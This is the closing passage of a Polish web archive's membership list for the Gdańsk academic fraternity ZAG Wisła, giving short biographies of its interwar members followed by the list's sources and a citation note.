  277. Jan Zawiślewski, (30 września 1912 w Gelsenkirchen - 9 maja 1998 w Opolu) absolwent Gimnazjum w Pelplinie 1935, student Wydziału Budowy Okrętów, a następnie Wydziału Budownictwa Lądowego PG 1935-3?, c. 1936, absolwent PG, inż. architekt, ranny w wojnie obronnej 1939, w niewoli niemieckiej w obozie koncentracyjnym w Mauthausen, o wyzwoleniu obozu kontynuował i ukończył 1947 studia na Wydziale Budownictwa Lądowego i równolegle na Wydziale Architektury Politechniki w Brunszwiku, naczelnik Wydziału Miast i Osiedli UW w Bydgoszczy 1948-55, współautor kilku planów urbanistycznych miast i osiedli, później pracował jako główny projektant w Biurze Projektów w Opolu, autor projektów kilkunastu osiedli mieszkaniowych, członek Stowarzyszenia Architektów Polskich oraz Światowego Związku Żołnierzy Armii Krajowej, odznaczony m.in. Krzyżem Kawalerskim OOP, Krzyżem Oświęcimskim i Medalem „Rodła”
  278. Edmund Zieleniewski, (1893 - 1971 w Krakowie) z Krakowa, student Wydziału Budowy Maszyn PG 1912-21 (z przerwą na okres wojny), w czasie studiów pracował społecznie na rzecz Polonii Gdańskiej, założyciel Związku Akademików Gdańskich 1913 i pierwszy sekretarz Związku, przed wojną dyrektor Polskich Zakładów “Babcox – Zieleniewski” w Sosnowcu
  279. Edward Zieliński, (ok. 1915 - po 1945) student Wydziału Elektrycznego PG 1935-39

    Stanisław Zielke, 1927 r.

  280. Stanisław Zielke, (ok. 1904 - ) student Wydziału Budowy Maszyn PG 1924-36, po wojnie zamieszkał w Poznaniu

  281. Hipolit Zimny, (1892 we wsi Kaliska w pow. starogardzkim - 10 lipca 1913 w Gdańsku) absolwent Gimnazjum w Wejherowie, student Wydziału Chemicznego PG 1910-13, założyciel Związku Akademików Gdańskich 1913, a także projektant metalowej odznaki tej organizacji, zginął w nieszczęśliwym wypadku, pochowany w Pelplinie
  282. Filemon Ziółkowski, (ok. 1900 - po 1945) student Wydziału Budownictwa Lądowego PG 1919-22, członek Związku Akademików Gdańskich, oficer, w obozie jenieckim w Woldenbergu, po wojnie dyrektor Oddziału Banku Inwestycyjnego w Gdyni
  283. Andrzej Żaboklicki, (17 września 1919 - 1995?) absolwent Gimnazjum im. A. Mickiewicza w Warszawie 1936, student Wydziału Chemicznego PG 1937-39, c. 1937, w lutym 1939 brał udział w starciach z bojówkami hitlerowskimi, a także w strajku protestacyjnym i marszu studentów-Polaków ulicami Wrzeszcza, do 8 marca 1939 bronił wraz z kolegami gmachu Bratniej Pomocy, od 1945 asystent w Katedrze Chemii Fizycznej PG, absolwent (mgr inż. chemik) PG 1948, od 1948 pracował w przemyśle spożywczym, w Centrali Produktów Nasiennych i Ministerstwie Handlu Zagranicznego, od 1976 zastępca Attache Handlowego Ambasady PRL w Japonii, od 1982 na zlecenie UNCTAD-GATT pracował jako ekspert ONZ w Senegalu, odznaczony m.in. Krzyżem Kawalerskim OOP
  284. Kazimierz Żbikowski, (ok. 1915 - ) student Wydziału Elektrycznego PG 1935-39
  285. Wojciech Żeromski, przed wojną dyrektor Fabryki “Wola Krzysztoporska”
  286. Adam Żołyński, inż. elektryk, przed wojną zamieszkały w Warszawie
  287. Filomen Żyłkowski, przed wojną urzędnik w Banku Gospodarstwa Krajowego w Gdyni

Listę członków opracowano na podstawie:

1) Zbigniew Osuchowski, Lista członków Polskiej Korporacji Akademickiej ZAG Wisła (Gdańsk) , (w:) Polskie Korporacje Akademickie 1995, nr 10, s. 58 i n.,
2) Księga Pamiątkowa Studentów Polaków Politechniki Gdańskiej w latach 1904-1939, Gdańsk 1993, Suplement do Księgi Pamiątkowej z 1993 roku Studentów Polaków Politechniki Gdańskiej 1904-1939, Gdańsk 1994,
3) danych ze strony: http://zag-wisla.bloog.pl,
4) materiałów archiwalnych z Archiwum Korporacyjnego,
5) wydawnictw encyklopedycznych i biograficznych oraz rozmów z rodzinami członków Korporacji ZAG Wisła.

Opracowanie: Bartłomiej P. Wróblewski
Opublikowano: 12 IX 2007 r.
Ostatnia zmiana: 13 VIII 2018 r.

Propozycja cytowania: Bartłomiej P. Wróblewski, Polska Korporacja Akademicka “Związek Akademików Gdańskich Wisła” (Gdańsk), (na:) www.archiwumkorporacyjne.pl, stan 13 VIII 2018 r.

O Archiwum  |  Muzeum Korporacyjne  |  Aktualności  |  Kontakt  |   English © Archiwum Korporacyjne     Nota prawna  |  Mapa serwisu  | 
Szukaj    »
created by { re.PUBLIK }